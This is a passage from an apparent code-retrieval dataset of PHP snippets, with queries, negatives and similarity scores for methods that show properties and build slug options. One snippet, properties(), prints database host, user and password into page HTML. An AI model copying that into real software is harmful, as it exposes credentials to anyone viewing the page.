VehicleDetails(){\n\t\tparent::getVehicleDetails();\n\t\t$this -> addVehicleDetails();\n\t}", "protected function getShow(){\r\n\t\t//$strr = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/embed.php?'.$this->Property->getValue($_SESSION['langue'])->getValueShort());\r\n\t\t$dao = $this->Factory->getPropertyValueDAO();\r\n\t\t$docid = $this->params['currentid'];\r\n\t\t$proId = $this->Property->getId();\r\n\t\t$value= $dao->getByPropertyByDocumentUsingIds($docid,$proId,$_SESSION['langue']);\r\n\t\t$_SESSION['wrapperurl']=$_SERVER['REQUEST_URI'];\r\n\t\t$strr.='<script type=\"text/javascript\">';\r\n\t\t//$strr.='jQuery.ajaxSetup ({cache: false});';\r\n\t\t$strr.='url = \"http://'.$_SERVER['HTTP_HOST'].'/embed.php?'.$value->getValueShort().'\";';\r\n\t\t$this->content.='ajaxLoad(url,\\'listing\\',function() {jQuery(\\'#dynTab\\').dataTable({\"oLanguage\": {\"sUrl\": \"/js/lang/dynTable_'.strtoupper($_SESSION['langue']).'.txt\"}});});';\r\n\t\t//$strr.='jQuery(\"#data\").ready(function(){jQuery(\"#data\").html(ajax_load).load(loadUrl, function() {jQuery(\\'#dynTab\\').dataTable({\"oLanguage\": {\"sUrl\": \"/js/lang/dynTable_'.strtoupper($_SESSION['langue']).'.txt\"}});});});';\r\n\t\t$strr.='</script>'.\"\\n\";\r\n\t\t\r\n\t\treturn $strr;\r\n\t}", "protected function configureShowFields(\\Sonata\\AdminBundle\\Show\\ShowMapper $showMapper)\n {\n }", "public function show(PropertyService $propertyService)\n {\n //\n }", "public function embedProperty() {\n\n $this->addEmbed(\"Property\");\n return $this;\n }", "public function applyDetailSettings()\n {\n $this->applyBrowseSettings(true);\n }", "static function onSmwInitProperties () {\n\n\t\t// id, typeid, label, show\n\t\t// \\SMW\\DIProperty::registerProperty(\n\t\t\t// '___somenewproperty',\n\t\t\t// 2,\n\t\t\t// 'meetingminutes-some-property',\n\t\t\t// true\n\t\t// );\n\t\t\n\t\t\n\t\t/**\n\t\t * @note Property data types as follows (this needs to go somewhere else)\n\t\t * From SMWDataItem:\n\t\t * 0 = No data item class (not sure if this can be used)\n\t\t * 1 = Number\n\t\t * 2 = String/Text\n\t\t * 3 = Blob\n\t\t * 4 = Boolean\n\t\t * 5 = URI\n\t\t * 6 = Time (This must mean Date)\n\t\t * 7 = Geo\n\t\t * 8 = Container\n\t\t * 9 = WikiPage\n\t\t * 10 = Concept\n\t\t * 11 = Property\n\t\t * 12 = Error\n\t\t */\n\t\treturn MeetingPropertyRegistry::getInstance()->registerPropertiesAndAliases();\n\t\t\n\t}", "public function viewproperties() {\n $properties = Properties::all();\n \n return view('Properties.view-properties', compact('properties'));\n }", "protected function configureShowFields(ShowMapper $showMapper)\n {\n $showMapper\n ->add('title', NULL, array('label' => 'Titel'))\n ->add('body', 'html', array('label' => 'Bericht'))\n ;\n }", "function editProperties()\n\t{\n\t\tglobal $ilAccess;\n\t\tglobal $tpl, $ilTabs;\n\n\t\t$ilTabs->activateTab(\"properties\");\n\t\t\n\t\t$save = ((strcmp($this->ctrl->getCmd(), \"saveProperties\") == 0)) ? true : false;\n\n\t\tinclude_once(\"./Services/Form/classes/class.ilPropertyFormGUI.php\");\n\t\t$form = new ilPropertyFormGUI();\n\t\t$form->setFormAction($this->ctrl->getFormAction($this, 'properties'));\n\t\t$form->setTitle($this->lng->txt(\"properties\"));\n\t\t$form->setMultipart(false);\n\t\t$form->setId(\"properties\");\n\n\t\t// online\n\t\t$online = new ilCheckboxInputGUI($this->txt(\"mpl_online_property\"), \"online\");\n\t\tif(ilObjMatchMemoPool::_lookupPairCount($this->object->getId()) < ilObjMatchMemoPool::MIN_PAIRS_NUM)\n\t\t{\n\t\t\t$online->setInfo(implode('<br />', array(\n\t\t\t\t$this->txt(\"mpl_online_property_description\"),\n\t\t\t\t'<span style=\"color:red\">' . $this->txt(\"cannot_set_online_not_enough_pairs\") . '</span>'\n\t\t\t)));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$online->setInfo($this->txt(\"mpl_online_property_description\"));\n\t\t}\n\t\t$online->setChecked($this->object->online);\n\t\t$form->addItem($online);\n\n\t\t// add entry to navigation history\n\t\tif ($ilAccess->checkAccess(\"write\", \"\", $_GET[\"ref_id\"])) $form->addCommandButton(\"saveProperties\", $this->lng->txt(\"save\"));\n\n\t\tif ($save)\n\t\t{\n\t\t\t$form->checkInput();\n\t\t}\n\t\t$this->tpl->setVariable(\"ADM_CONTENT\", $form->getHTML());\n\t}", "public function show()\n {\n //\n }", "public function setDispFields() {}", "function viewInfo() {\n\t$view = new viewModel();\n\t$view->showInfo();\t\n}", "protected function commonViewData() {\n //print \"Hello\";\n $this->viewModel->set(\"mainMenu\", array(\"Home\" => \"home\", \"Help\" => \"help\"));\n $this->viewModel->set(\"Basepath\", \"http://localhost/~georginfanger/georginfanger/\");\n }", "public function showAction()\n {\n if (! isset($this->showParameters['contentTitle'])) {\n $this->showParameters['contentTitle'] = $this->getShowTitle();\n }\n\n parent::showAction();\n }", "public function show(ProData $proData)\n {\n //\n }", "public function show($id)\n {\n $property = Property::findOrFail($id);\n $property->agent = User::findOrFail($property->userId);\n\n\n $property->images = PropertyImage::where('propertyId', $property->id)->get();\n $inspectionTime = InspectionTime::where('propertyId', $property->id)->get();\n\n return view(\"Properties.show\")->with('user', $property)->with('inspectionTime', $inspectionTime);\n }", "public function startup() {\n parent::startup(); \n self::renderShow(); \n }", "public function render_meta_boxes_preferences()\n {\n }", "public function show() {\n \n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function properties(){\n\t\techo \"<span style=\\\"background-color:#FFF;color:red\\\"><strong>Host:</strong>\".$this->host.\"&nbsp;<strong>DB:</strong>\".$this->dbnm.\"&nbsp;<strong>User:</strong>\".$this->user.\"&nbsp;<strong>Password:</strong>\".$this->pssw.\"</span>\";\t\n\t}", "public function prepareVars()\n {\n if ($this->showLogRelations !== null) {\n $this->showLogRelations = (array) $this->showLogRelations;\n }\n\n $this->vars['name'] = $this->formField->getName();\n $this->vars['model'] = $this->model;\n $this->vars['showUndoChangesButton'] = $this->showUndoChangesButton;\n }", "public function setData() \n {\n // Empty, to be overridden \n }", "protected function detail($id)\n {\n $show = new Show(Procurement::findOrFail($id));\n $show->panel()\n ->tools(function ($tools) {\n $tools->disableEdit();\n //$tools->disableDelete();\n });\n $show->id('Id');\n $show->u_id('姓名/昵称')->as(function($val){\n return User::where('id',$val)->value('name');\n });\n $show->brand('品牌要求')->as(function($id){\n return Brand::find($id)->name;\n });\n $show->type('瓷砖类型')->as(function($id){\n return Category::find($id)->name;\n });\n $show->models('型号要求')->as(function($id){\n return Category::find($id)->name;\n });\n $show->material('材质要求')->as(function($id){\n return Category::find($id)->name;\n });\n $show->area('采购面积')->as(function($val){\n return $val.'平米';\n });\n $show->room_city('所在地区')->as(function($val){\n return Cities::where('area_code',$val)->value('area_name');\n });\n $show->address('详细地址');\n $show->brick_time('用砖时间')->as(function ($num) {\n switch($num){\n case '1':\n return '1周';\n break;\n case '5':\n return '1个月';\n break;\n case '10':\n return '3个月';\n break;\n }\n });\n $show->status('审核')->as(function($val){\n switch($val){\n case 0:\n return '待审核';\n break;\n case 1:\n return '审核通过';\n break;\n case 2:\n return '审核未通过';\n break;\n }\n });\n $show->images('参考图片')->unescape()->as(function($val){\n $imgs = '';\n $path = getenv('APP_URL').'/uploads/';\n foreach($val as $k=>$v){\n $imgs .=\"<a href='$path$v'target='_blank'><img style='max-width:200px;max-height:200px;' src='$path$v'></a>\";\n }\n return $imgs;\n });\n $show->ctime('创建时间');\n// $show->utime('Utime');\n\n return $show;\n }", "function admin_init() {\n\t\t$conditions = array('Product.supplier_id' => array(4, 5)); // Alliance - updatovat sukl a pdk\n\t\t\n\t\t// chci nastavit, ze chci updatovat active a dostupnost\n\t\t$products = $this->ProductPropertiesProduct->Product->find('all', array(\n\t\t\t'conditions' => $conditions,\n\t\t\t'contain' => array(),\n\t\t\t'fields' => array('Product.id')\n\t\t));\n\n\t\t$productIds = Set::extract('/Product/id', $products);\n\n\t\t$properties = $this->ProductPropertiesProduct->ProductProperty->find('all', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'OR' => array(\n\t\t\t\t\tarray('ProductProperty.name' => 'Product.sukl'),\n\t\t\t\t\tarray('ProductProperty.name' => 'Product.pdk_code')\n\t\t\t\t)\n\t\t\t),\n\t\t\t'contain' => array(),\n\t\t\t'fields' => array('ProductProperty.id')\n\t\t));\n\n\t\t$save = array();\n\t\t\n\t\tforeach ($products as $product) {\n\t\t\tforeach ($properties as $property) {\n\t\t\t\t$update = true;\n\t\t\t\t$save[] = array(\n\t\t\t\t\t'product_id' => $product['Product']['id'],\n\t\t\t\t\t'product_property_id' => $property['ProductProperty']['id'],\n\t\t\t\t\t'update' => $update\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\t$this->ProductPropertiesProduct->saveAll($save);\n\t\t\n\t\tdie('hotovo');\n\t}", "protected function renderTrustedPropertiesField() {}", "public function setDispFields()\n {\n $backendUser = $this->getBackendUser();\n // Getting from session:\n $dispFields = $backendUser->getModuleData('list/displayFields');\n // If fields has been inputted, then set those as the value and push it to session variable:\n if (is_array($this->displayFields)) {\n reset($this->displayFields);\n $tKey = key($this->displayFields);\n $dispFields[$tKey] = $this->displayFields[$tKey];\n $backendUser->pushModuleData('list/displayFields', $dispFields);\n }\n // Setting result:\n $this->setFields = $dispFields;\n }", "public function properties()\n {\n $properties = Property::where('status_id',1)\n ->whereIn('user_id',[1, auth()->user() ? auth()->user()->id : 0])\n ->orderBy('user_id', \"desc\")->get();\n return view('front.properties', compact('properties'));\n }" ]
[ "0.62103724", "0.61622417", "0.61457807", "0.6104522", "0.5991424", "0.5964789", "0.5963357", "0.59220153", "0.590709", "0.58708745", "0.58086276", "0.57778734", "0.57511103", "0.56778336", "0.5631176", "0.56188", "0.56188", "0.5602784", "0.5594011", "0.55711395", "0.5539801", "0.5533874", "0.5530906", "0.55208945", "0.55207396", "0.551547", "0.551535", "0.5473642", "0.54640603", "0.5459965", "0.545346", "0.5449303", "0.54451907", "0.5438651", "0.5435139", "0.543101", "0.53764325", "0.5353688", "0.53510606", "0.53451514", "0.53090537", "0.5305805", "0.53049666", "0.5303248", "0.52982306", "0.5297435", "0.52924323", "0.528883", "0.52783877", "0.5256007", "0.5255709", "0.5250024", "0.52486295", "0.52342016", "0.52326757", "0.52190644", "0.5208134", "0.52030605", "0.5201834", "0.51958114", "0.51752794", "0.5173622", "0.5151613", "0.51458853", "0.5128312", "0.5121878", "0.51170605", "0.5116061", "0.51097894", "0.50995195", "0.5099401", "0.50950253", "0.50922495", "0.5080782", "0.50745493", "0.50701535", "0.5067657", "0.50662744", "0.5065263", "0.50647676", "0.5055218", "0.5053423", "0.5045159", "0.50429976", "0.50426215", "0.5041045", "0.5039685", "0.5036514", "0.5021321", "0.50177354", "0.50177354", "0.50177354", "0.5015456", "0.5009456", "0.50094503", "0.5008832", "0.5006942", "0.4999109", "0.49824542", "0.4977739" ]
0.6283189
0
Get the options for generating the slug.
public function getSlugOptions() : SlugOptions { return SlugOptions::create() ->generateSlugsFrom('title') ->saveSlugsTo('slug') ->doNotGenerateSlugsOnUpdate(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()->generateSlugsFrom('title')->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom(['public_name'])\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->doNotGenerateSlugsOnUpdate()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('product_name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function options_slug() {\n\t\t\treturn $this->options_slug;\n\t\t}", "public function getSlugOptions() : SlugOptions {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug')\n ->doNotGenerateSlugsOnUpdate();\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom(['first_name', 'last_name'])\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug')\n ->doNotGenerateSlugsOnUpdate();\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('id', 'subject')\n ->saveSlugsTo('slug')\n ->slugsShouldBeNoLongerThan(32)\n ->doNotGenerateSlugsOnUpdate();\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug')\n ->preventOverwrite();\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug')\n ->slugsShouldBeNoLongerThan(50)\n ->doNotGenerateSlugsOnUpdate();\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('name')\n ->saveSlugsTo('slug')\n ->usingLanguage( 'sv' )\n ->doNotGenerateSlugsOnUpdate()\n ->slugsShouldBeNoLongerThan( 30 );\n }", "static function get_options(){\n\t\t \t$options = get_option('link_rewriter_options');\n\t\t\treturn $options;\n\t\t }", "function toSlug($options = array()){\n\t\tif(!is_array($options)){\n\t\t\t$options = array(\n\t\t\t\t\"max_length\" => $options\n\t\t\t);\n\t\t}\n\t\t$options += array(\n\t\t\t\"max_length\" => null,\n\t\t\t\"suffix\" => \"\",\n\t\t);\n\n\t\t$suffix = strlen($options[\"suffix\"]) ? String4::ToObject($options[\"suffix\"])->toSlug()->toString() : \"\";\n\t\t$suffix = strlen($suffix) ? \"-$suffix\" : \"\";\n\n\t\t$max_length = $options[\"max_length\"] && strlen($suffix) ? $options[\"max_length\"] - strlen($suffix) : $options[\"max_length\"];\n\t\t$max_length = $max_length<0 ? 0 : $max_length;\n\n\t\t$slug = $this->toAscii()->lower()->gsub('/[^a-z0-9]+/',' ')->trim()->substr(0,$max_length)->trim()->replace(' ','-')->append($suffix)->gsub('/^-/','');\n\t\treturn $slug;\n\t}", "public function createOptions()\n {\n // default options\n $options = [\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'rewrite' => [\n 'slug' => $this->slug,\n ],\n ];\n\n // replace defaults with the options passed\n $options = array_replace_recursive($options, $this->options);\n\n // create and set labels\n if (!isset($options['labels'])) {\n $options['labels'] = $this->createLabels();\n }\n\n return $options;\n }", "public function get_page_slugs()\n\t{\n\t\t// assign the slugs to the $options...\n\t\t$options = $this->db->select('title, url_title')->get($this->_table['pages'])->result();\n\n\t\t// there's a couple outside of normal possibilities in the db\n\t\t// so I add them here.\n\t\t$return[null] = lang('nav_form_choose_page');\n\t\t$return['pages/'] = lang('pages_index_controller_label');\n\n\t\t// foreach through them and add the url_title as key\n\t\t// and title as option text.\n\t\tforeach ($options as $opt)\n\t\t{\n\t\t\t$return[$opt->url_title] = $opt->title;\n\n\t\t}\n\n\t\t// return the obj\n\t\treturn $return;\n\t}", "protected static abstract function getOptions();", "protected function getOptions() {}", "protected function getOptions() {}", "protected function getOptions() {}", "public function get_post_slugs()\n\t{\n\t\t// assign the slugs to the $options...\n\t\t$options = $this->db->select('date_posted, title, url_title')->get($this->_table['posts'])->result();\n\n\t\t// there's one outside of normal possibilities in the db\n\t\t// so I add it here.\n\t\t$return[null] = lang('nav_form_choose_post');\n\n\t\t// foreach through them and add the url_title as key\n\t\t// and title as option text.\n\t\tforeach ($options as $opt)\n\t\t{\n\t\t\t$return[$opt->url_title] = $opt->title;\n\n\t\t}\n\n\t\t// return the obj\n\t\treturn $return;\n\t}", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public function getOptions();", "public static function create(): SlugOptions\n {\n return new static();\n }", "abstract public function getOptions();", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'ofi_direccion'\n ]\n ];\n }", "public function optional()\n {\n return [\n 'slug', // string\n ];\n }", "public function getSlugOptionsDefault(): SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom([\n 'titolo',\n 'title',\n ['nome', 'cognome'],\n ['first_name', 'last_name'],\n 'nome',\n 'name',\n 'descr',\n 'descrizione',\n 'codice',\n 'pcode',\n 'id',\n ])\n ->saveSlugsTo('slug')\n ->saveCustomSlugsTo('slug_custom')\n ->slugsShouldBeNoLongerThan(251);\n }", "function get_options() {\r\n\t\t\t$set_options = array(\r\n\t\t\t\t'plugin_css' => true, \r\n\t\t\t\t'home' => true,\r\n\t\t\t\t'single' => true,\r\n\t\t\t\t'page' => true,\r\n\t\t\t\t'archive' => true,\r\n\t\t\t\t'search' => true,\r\n\t\t\t\t'feed' => true,\r\n\t\t\t\t'attachment' => true,\r\n\t\t\t\t'tag' => true,\r\n\t\t\t\t'category' => true,\r\n\t\t\t\t'date' => true,\r\n\t\t\t\t'author' => true,\r\n\t\t\t\t'the_content' => true,\r\n\t\t\t\t'the_excerpt' => true,\r\n\t\t\t\t'the_comment' => false,\r\n\t\t\t\t'excluded_cats' => array(),\r\n\t\t\t\t'excluded_ids' => array()\r\n\t\t\t\t);\r\n\t\t\t$options = get_option($this->options_name);\r\n\t\t\tif (!empty($options)) {\r\n\t\t\t\tforeach ($options as $key => $option)\r\n\t\t\t\t\t$set_options[$key] = $option;\r\n\t\t\t}else{\r\n\t\t\t\tupdate_option($this->options_name, $set_options);\r\n\t\t\t}\r\n\t\t\treturn $set_options;\r\n\t\t}", "public function getOptions() {}", "public function getOptions() {}", "public function getOptions() {}", "public function getPageUrlOptions()\n {\n $currentTheme = Theme::getEditTheme();\n $allThemePages = Page::listInTheme($currentTheme, true);\n $options = [];\n foreach ($allThemePages as $p){\n $options['url='.$p->url.'&type=cms_pages'] = $p->title;\n }\n\n $tree = StaticPageClass::buildMenuTree($currentTheme); \n foreach ($tree as $key => $page){\n if(isset($page['title']) && isset($page['url'])){\n $options['url='.$page['url'].'&type=pages_plugin'] = $page['title'];\n }\n }\n return $options;\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'method' => function ($value) {\n return $this->browseable ? $this->browseable->slugFallback($value) : '';\n }\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['id', 'seo_name', 'company.name', 'municipality'],\n 'separator' => '-'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'abbreviation' => [\n 'source' => 'abbreviation'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['seo_url', 'seo_url1']\n ]\n ];\n }", "public function getUrlOptions()\n {\n $allPages = Page::sortBy('baseFileName')->lists('title', 'baseFileName');\n $pages = array(\n '' => 'No page link'\n );\n foreach ($allPages as $key => $value) {\n $pages[$key] = \"$key\";\n }\n return $pages;\n }", "public function sluggable()\n {\n return [\n 'product_friendly_url' => [\n 'source' => 'name'\n ],\n ];\n }", "protected function getOptions()\n\t{\n\t\treturn [\n\t\t\t\n\t\t];\n\t}", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name',\n 'maxLength' => 90\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'sluglot'\n ]\n ];\n }", "function get_options() \n {\n // don't forget to set up the default options\n if ( ! $the_options = get_option( $this->options_name) ) {\n $the_options = array(\n 'bbquotations-slug' =>'quotes',\n 'use-css-file' => false\n );\n update_option($this->options_name, $the_options);\n }\n $this->options = $the_options;\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'slug_or_title',\n ],\n ];\n }", "public function getOptions()\n {\n /**\n * `id` is not in editor.md's attribute , so remove it\n */\n unset($this->options['id']);\n\n /**\n * Get the asset path which is published\n */\n $publishedAssetUrl = $this->getView()\n ->getAssetManager()\n ->getBundle('echotrue\\markdown\\MarkdownAsset', true)->baseUrl . '/assets/';\n\n $this->options['path'] = $publishedAssetUrl;\n $this->options['pluginPath'] = $publishedAssetUrl . 'plugins/';\n return Json::encode($this->options);\n }", "public function sluggable()\n {\n return [\n 'page_slug' => [\n 'source' => 'page_title',\n 'maxLength' => null,\n 'maxLengthKeepWords' => true,\n 'method' => null,\n 'separator' => '-',\n 'unique' => true,\n 'uniqueSuffix' => null,\n 'includeTrashed' => false,\n 'reserved' => null,\n 'onUpdate' => false\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'job_title'\n ]\n ];\n }", "protected function get_options()\n\t{}", "private function get_options() {\n $options_slug = 'nk_theme_' . $this->theme_name . '_options';\n return get_option( $options_slug, array() );\n }", "function get_post_format_slugs()\n {\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n\t{\n\t\treturn [\n\t\t\t'slug' => [\n\t\t\t\t'source' => 'slug_or_title',\n\t\t\t],\n\t\t];\n\t}", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['title']\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }" ]
[ "0.7788293", "0.7757069", "0.77118814", "0.77112377", "0.77112377", "0.7708376", "0.7708376", "0.76611114", "0.7645978", "0.76181304", "0.7614047", "0.7580652", "0.75619256", "0.75619256", "0.75546724", "0.75542575", "0.7544966", "0.75362414", "0.7533052", "0.7511007", "0.7511007", "0.7511007", "0.74239147", "0.7416309", "0.73636067", "0.6453461", "0.64316833", "0.6411142", "0.63392186", "0.6325435", "0.6262536", "0.6262135", "0.6262135", "0.62579", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.6221904", "0.62141323", "0.62082195", "0.6197693", "0.6153699", "0.6141405", "0.6087856", "0.6076932", "0.6076735", "0.6076735", "0.6074114", "0.60694677", "0.606762", "0.603807", "0.6035359", "0.6004006", "0.60019374", "0.60011214", "0.5997902", "0.5989177", "0.5981395", "0.5970001", "0.595505", "0.59388626", "0.5938015", "0.5933669", "0.593086", "0.59218115", "0.59127074", "0.5899159", "0.5899132", "0.58981454", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496", "0.5896496" ]
0.77255535
2
Get the subdivision that belongs to the city of the property.
public function subdivision() { $city = $this->city; $this->subdivision = $city ? $city->subdivision : null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function get_cities_origin() {\n $t_location = get_transient('wcis_location');\n return $t_location['cities'];\n }", "public function get_ville()\n {\n return $this->_ville;\n }", "public function getCity();", "public function getCity()\n {\n\n return $this->fv_city;\n }", "public function getCity() {}", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->_city;\r\n }", "public function getCity()\n\t{\n\t\treturn $this->city;\n\t}", "public function getCity()\n {\n return $this->city;\n }", "public function getCity() {\n\t\treturn $this->city;\n\t}", "public function getCity(){\r\n\t\treturn $this->city;\r\n\t}", "public function getCity()\n {\n return isset($this->address_data['locality']) ? $this->address_data['locality'] : null;\n }", "public function getCity()\n {\n return $this;\n }", "function getCity() {\r\r\n\t\treturn $this->city;\r\r\n\t}", "public function getCity() \n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->getNodeValue('./vcard:locality', $this->data);\n }", "public function getCity(): City\n {\n return $this->city;\n }", "public function getCity()\n {\n return parent::getValue('city');\n }", "public function getCity() {\n\t\treturn self::$_city;\n\t}", "public function getCity()\n {\n return (string) $this->json()->city;\n }", "public function getCity()\n {\n $res = $this->getEntity()->getCity();\n\t\tif($res == null)\n\t\t{\n\t\t\tSDIS62_Model_DAO_Abstract::getInstance($this::$type_objet)->create($this);\n\t\t\treturn $this->getEntity()->getCity();\n\t\t}\n\t\treturn $res;\n }", "public function get_division()\n\t\t{\n\t\t\treturn $this->obj->find()->getBasics();\n\t\t}", "public function getDistrict()\n {\n return $this->district;\n }", "public function getDistrict()\n {\n return $this->district;\n }", "public function getDivision()\n {\n return $this->division;\n }", "public function getHotelCity()\n {\n return $this->hotel_city;\n }", "public function getOriginCity()\n\t{\n\t\treturn $this->origin_city;\n\t}", "public function city(): string\n {\n return $this->getData('CityName');\n }", "public function getGeo() {\n return $this->get(self::GEO);\n }", "public function getHotelLocation()\n {\n return 